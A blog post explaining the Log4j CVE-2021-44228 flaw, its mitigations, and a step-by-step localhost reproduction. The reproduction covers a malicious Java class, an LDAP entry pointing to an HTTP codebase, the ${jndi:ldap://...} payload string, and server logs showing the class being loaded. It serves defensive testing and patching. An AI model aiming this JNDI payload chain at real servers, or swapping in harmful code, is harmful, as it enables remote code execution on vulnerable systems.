Dive into the CVE-2021-44228 Log4j exploit
The last couple of days for a lot of Java developers were probably all about checking for Log4j dependencies and versions. All of this after a severe vulnerability was discovered in the library, that allows unauthenticated Remote Code Execution (RCE) in case of a user-controlled text being logged. Since Log4j is a widely used library for Java applications, a lot of applications and frameworks were impacted.
Users of Log4j versions 2.0 to 2.15.0 (both included) were impacted by the vulnerability. Earlier, the latest impacted version was communicated to be 2.14.1, and the fix was implemented in 2.15.0. However, it turned out that 2.15.0 did not fix all scenarios in certain non-default configurations. Therefore, another Common Vulnerabilities and Exposures (CVE) was registered: CVE-2021-45046. This has been resolved in version 2.16.0.
Mitigating the vulnerability
On the Log4j website you can already find the mitigation strategies:
- Log4j 1.x: These versions do not have lookups, so the risk is lower. Users are only vulnerable when JNDI is used in their configuration. A separate CVE was registered for this: CVE-2021-4104. However, as also stated on the Log4j site, version 1.x has reached end of life and is no longer supported. New vulnerabilities will not be checked and fixed anymore. So if you are still relying on this version, it’s probably a good idea to upgrade to the latest Log4j version.
- Log4j 2.x on Java 8 or later: Users should upgrade to version 2.16.0.
- Log4j 2.x on Java 7: Users should upgrade to version 2.12.2.
- When upgrading to the latest version is not an option, you could also remove the JndiLookup class from your classpath. This can be achieved by executing the following statement:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Some other mitigation measures that were mentioned in an earlier stage, like setting the log4j2.formatMsgNoLookups system property or LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true for versions 2.10 and higher, have been marked as insufficient. The discovery was made that these mitigations only limit exposure, but some attacking possibilities remain.
Reproduction of the vulnerability
For testing if your application is vulnerable, it’s easy to first try to reproduce the issue. Because a lot of applications were impacted and a lot of developers have been working on mitigating the problems, a lot of blogs can already be found about how the vulnerability can be exploited by attackers. Different attacking methods are already being described.
In our case we tried to reproduce the attacking method of putting a JNDI LDAP URL in a user-controlled field, that’s also being logged.
Step 1: Create a malicious Java class
To start, we create a “malicious” Java class. In the below class we defined a static block (so it will be executed as soon as the class is loaded). Here we execute our “malicious” code. In our case we will just write a simple file to the tmp directory. But you can probably imagine that someone could put a lot more harmful code in this block:
import java.io.FileOutputStream;
import java.io.IOException;
import java.time.ZonedDateTime;
public class MaliciousObject {
static {
try (FileOutputStream fos = new FileOutputStream("/tmp/malicious-file.txt")) {
fos.write(("Log4j successfully exploited on " + ZonedDateTime.now()).getBytes());
} catch (IOException e) {
// Noop
}
}
}
Step 2: Serve malicious object via LDAP
The next step is to setup an LDAP server to serve the malicious object. For this we created a Docker container running an OpenLDAP server. This server was configured to allow anonymous read-only access. Below you can find the representation of the MaliciousObject as we added it into the LDAP directory:
dn: cn=MaliciousObject,dc=example,dc=org
objectClass: javaContainer
objectClass: javaNamingReference
cn: MaliciousObject
javaClassName: MaliciousObject
javaCodebase: http://localhost/
javaFactory: MaliciousObject
As you can see, this LDAP entry basically just points to a compiled instance of the MaliciousObject, that can be loaded from an external HTTP endpoint. When a JNDI lookup would be performed from a JVM, this would lead to a GET method call to http://localhost/MaliciousObject.class, in an attempt to load the compiled class.
Step 3: Serve malicious object on HTTP Java Codebase
Of course, to make the JVM actually load the malicious object, we have to serve the compiled class on the endpoint mentioned above. To achieve this we used another Docker container, running the Nginx (web)server.
Here, Nginx was configured to serve the compiled class when requesting the previously mentioned URL.
Step 4: Test application to exploit the vulnerability
Now that we have setup both the LDAP and the HTTP Java Codebase with malicious intents, it’s time to see if we can actually exploit the vulnerability. To do this, we created a simple Java application and added the log4j-api and log4j-core libraries (both version 2.14.1, the last version that was “fully” vulnerably to the exploits).
In this application we add a simple main method where we will perform a log statement. In a production-like environment, this will probably not be a static string, but a dynamic string based on user input. For example: a Java REST API that is logging the request headers. When a malicious user would try to insert ${jndi:ldap://localhost:389/cn=MaliciousObject,dc=example,dc=org} into one of these headers, a similar entry would be logged via Log4j:
package nl.whitehorses.log4jexploit;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger LOG = LogManager.getLogger(Main.class);
public static void main(String... args) {
LOG.info("TEST: ${jndi:ldap://localhost:389/cn=MaliciousObject,dc=example,dc=org}");
}
}
When we run the above method with JDK version 8u181, we see the following output.
Note: The JDK version is important here, because starting from 6u211, 7u201, 8u191 and 11.0.1 the default value for the com.sun.jndi.ldap.object.trustURLCodebase variable has been adjusted to false, which also (partially) mitigates the vulnerability.
2021-12-15 00:00:00 INFO Main:10 - TEST: ${jndi:ldap://localhost:389/cn=MaliciousObject,dc=example,dc=org}
So far, everything looks normal. The console printed exactly what we asked it to do. However, when we look at the logging from our Docker images, we can also see that both the LDAP and the Nginx servers were requested:
LDAP : ******** conn=1002 fd=12 ACCEPT from IP=***.**.*.*:***** (IP=0.0.0.0:389)
LDAP : ******** conn=1002 op=0 BIND dn="" method=128
LDAP : ******** conn=1002 op=0 RESULT tag=97 err=0 text=
LDAP : ******** conn=1002 op=1 SRCH base="cn=MaliciousObject,dc=example,dc=org" scope=0 deref=3 filter="(objectClass=*)"
LDAP : ******** conn=1002 op=1 SEARCH RESULT tag=101 err=0 nentries=1 text=
NGINX : ***.**.*.* - - [15/Dec/2021:00:00:00 +0000] "GET /MaliciousObject.class HTTP/1.1" 200 1260 "-" "Java/1.8.0_181" "-"
Also, when we take another look at our tmp folder, we now see that the file malicious-file.txt was created, with the following content:
Log4j successfully exploited on 2021-12-15T00:00:00.000+01:00[Europe/Berlin]
Conclusion
What surprised me is how easily exploitable this vulnerability is. With a simple Java class, and just 35 (!!) lines of basic configuration we were able to “trick” the test application into loading and executing potentially malicious code on our machine.
This once again shows the importance of keeping your library versions up-to-date, and installing the latest security patches as soon as possible!
Sources
https://logging.apache.org/log4j/2.x/security.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
https://www.cnblogs.com/yyhuni/p/15088134.html (Translated to English)
Geen reacties
Geef jouw mening
Reactie plaatsenReactie toevoegen